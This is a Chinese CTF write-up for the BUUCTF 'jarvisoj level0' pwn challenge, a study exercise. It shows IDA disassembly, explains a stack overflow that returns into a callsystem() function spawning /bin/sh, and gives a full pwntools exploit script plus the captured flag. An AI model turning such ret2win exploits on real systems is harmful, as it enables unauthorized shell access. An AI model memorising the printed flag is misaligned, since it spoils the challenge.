buu-pwn-jarvisoj-level0题解

基本逻辑

使用64位IDA可直接打开

主函数

.text:00000000004005C6 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C6
.text:00000000004005C6 ; Attributes: bp-based frame
.text:00000000004005C6
.text:00000000004005C6 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004005C6                 public main
.text:00000000004005C6 main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004005C6
.text:00000000004005C6 var_10          = qword ptr -10h
.text:00000000004005C6 var_4           = dword ptr -4
.text:00000000004005C6
.text:00000000004005C6 ; __unwind {
.text:00000000004005C6                 push    rbp
.text:00000000004005C7                 mov     rbp, rsp
.text:00000000004005CA                 sub     rsp, 10h
.text:00000000004005CE                 mov     [rbp+var_4], edi
.text:00000000004005D1                 mov     [rbp+var_10], rsi
.text:00000000004005D5                 mov     edx, 0Dh        ; n
.text:00000000004005DA                 mov     esi, offset aHelloWorld ; "Hello, World\n"
.text:00000000004005DF                 mov     edi, 1          ; fd
.text:00000000004005E4                 call    _write
.text:00000000004005E9                 mov     eax, 0
.text:00000000004005EE                 call    vulnerable_function
.text:00000000004005F3                 leave
.text:00000000004005F4                 retn
.text:00000000004005F4 ; } // starts at 4005C6
.text:00000000004005F4 main            endp

目标函数

.text:0000000000400596 ; =============== S U B R O U T I N E =======================================
.text:0000000000400596
.text:0000000000400596 ; Attributes: bp-based frame
.text:0000000000400596
.text:0000000000400596                 public callsystem
.text:0000000000400596 callsystem      proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596                 push    rbp
.text:0000000000400597                 mov     rbp, rsp
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F                 call    _system
.text:00000000004005A4                 pop     rbp
.text:00000000004005A5                 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem      endp

溢出函数

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

溢出分析

通过vulnerable_function()中的read函数溢出覆盖vulnerable_function()的返回地址
使之返回到0x400596(callsystem())

因为缓冲区大小为0x80,因此payload为b'a'*(0x80+0x8)+p64(0x400596)

注册机

因为我是在win下,所以用sendline发送指令,其实在sendline(payload)的之后就会得到shell了。

但是由于windows下的换行是\r\n因此如果直接在interactive()模式输入指令的话,是会变成cat flag\r,自然不存在flag\r这个文件的所以会报错。

#!/usr/bin/env python
# coding=utf8
from pwn import *

context.log_level = 'debug'  # 显示调试的信息

p = remote('node3.buuoj.cn', 27947)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass

payload = b'a'*(0x80+0x8)+p64(0x400596)

p.recvuntil("Hello, World\n")  # 收到某个字符后继续执行否则sleep
p.sendline(payload)
p.sendline('cat flag')

# raw_input()  # 用来断在开始的位置
# gdb.attach(p)  # 可以用动态调试
p.interactive() # 监听和用户输入模式

得到flag:`flag{aad109ed-3739-491e-b886-5f9b5a243f26}

Snipaste_2021-02-27_07-47-51

Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)